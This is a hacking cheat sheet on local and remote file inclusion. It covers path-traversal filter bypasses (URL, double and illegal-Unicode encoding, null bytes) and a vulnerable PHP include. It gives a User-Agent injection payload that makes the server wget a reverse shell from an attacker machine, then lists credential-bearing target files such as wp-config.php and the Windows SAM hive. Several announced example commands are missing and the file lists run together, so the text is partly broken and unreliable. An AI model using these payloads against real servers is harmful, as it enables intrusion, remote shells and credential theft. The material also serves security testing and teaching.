Local file inclusion (LFI) vulnerabilities allow an attacker to read local files on the web server using malicious web requests, such as:
Web configuration files
Other sensitive system data
LFI can also be used for remote code execution (RCE). In most cases, this is due to poor or missing input sanitization.
Remote file inclusions are similar, but the attacker is taking advantage of the web server's ability to call local files, and using it to upload files from remote servers. These remote files can be malicious code that executes in the context of the web server user (e.g. www-data).
Assuming you are on a Linux system, test if you can display
/etc/passwd by moving back 5 directory levels:
Even if this doesn't work, it doesn't mean that the website is immune to path traversal. When filtering input, developers will often prevent the use of forward slashes, but not backslashes or encoded characters.
Sometimes browsers mess around with basic directory traversal sequences, but
wget may work:
If the application is attempting to sanitize user input by removing traversal sequences, but does not apply this filter recursively, then it may be possible to bypass the filter by placing one sequence within another:
Encoding all the slashes and dots in your path traversal could bypass input filters:
dot %2eforward slash %2fbackslash %5c
Another encoding method:
dot %252eforward slash %252fbackslash %255c
You can also use the illegal Unicode payload type in Burp Intruder for this technique:
dot %c0%2e %e0%40%ae %c0ae etc.forward slash %c0%af %e0%80%af %c0%2f etc.backslash %c0%5c %c0%80%5c etc.
Some applications check whether the user-supplied file name ends in a particular file type or set of file types, and reject attempts to access anything else. A null byte terminator (
0x00 in hex) added to the LFI/RFI parameter will stop processing immediately, so that any bytes following it are ignored.
In the following code example, the extension
.php added to the file request variable
$file = $_GET['page'];require_once("/var/www/$file.php");
/etc/passwd in this case will not work because the request becomes
passwd.php resulting in a 404 error. However, if we add a null byte to the passwd file name it will terminate at the end of
passwd and discard the remaining bytes:
If you're able to request
/proc/self/environ using LFI, you might be able to get a shell by downloading a remote file with reverse shellcode and run it on the system (e.g. php reverse shell). You'll need to intercept the
/proc/self/environ request and replace HTTP request header
User Agent with the following:
<?system('wget http://[attack machine]/reverseshell.txt -O shell.php');?>
Then execute the shell by calling the URL where it was uploaded:
If an LFI vulnerability exists, look for these files:
Linux system and user files:
Potentially interesting logfiles:
If there is a web server, always check
/var/www/html for interesting files, including
robots.txt in the root web folder.
Content management system configuration files:
WordPress: /var/www/html/wp-config.phpJoomla: /var/www/configuration.phpDolphin CMS: /var/www/html/inc/header.inc.phpDrupal: /var/www/html/sites/default/settings.phpMambo: /var/www/configuration.phpPHPNuke: /var/www/config.phpPHPbb: /var/www/config.php
Files that may exist on Windows systems:
c:\WINDOWS\system32\eula.txtc:\boot.inic:\WINDOWS\win.inic:\WINNT\win.inic:\WINDOWS\Repair\SAMc:\WINDOWS\php.inic:\WINNT\php.inic:\Program Files\Apache Group\Apache\conf\httpd.confc:\Program Files\Apache Group\Apache2\conf\httpd.confc:\Program Files\xampp\apache\conf\httpd.confc:\php\php.inic:\php5\php.inic:\php4\php.inic:\apache\php\php.inic:\xampp\apache\bin\php.inic:\home2\bin\stable\apache\php.inic:\home\bin\stable\apache\php.ini
The system and SAM files might be in different locations. As well, the path might be case-sensitive, even though it's Windows.
# SYSTEMROOT is usually windowswindows\repair\SAM%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\SAM%SYSTEMROOT%\repair\system%SYSTEMROOT%\System32\config\SYSTEM%SYSTEMROOT%\System32\config\RegBack\system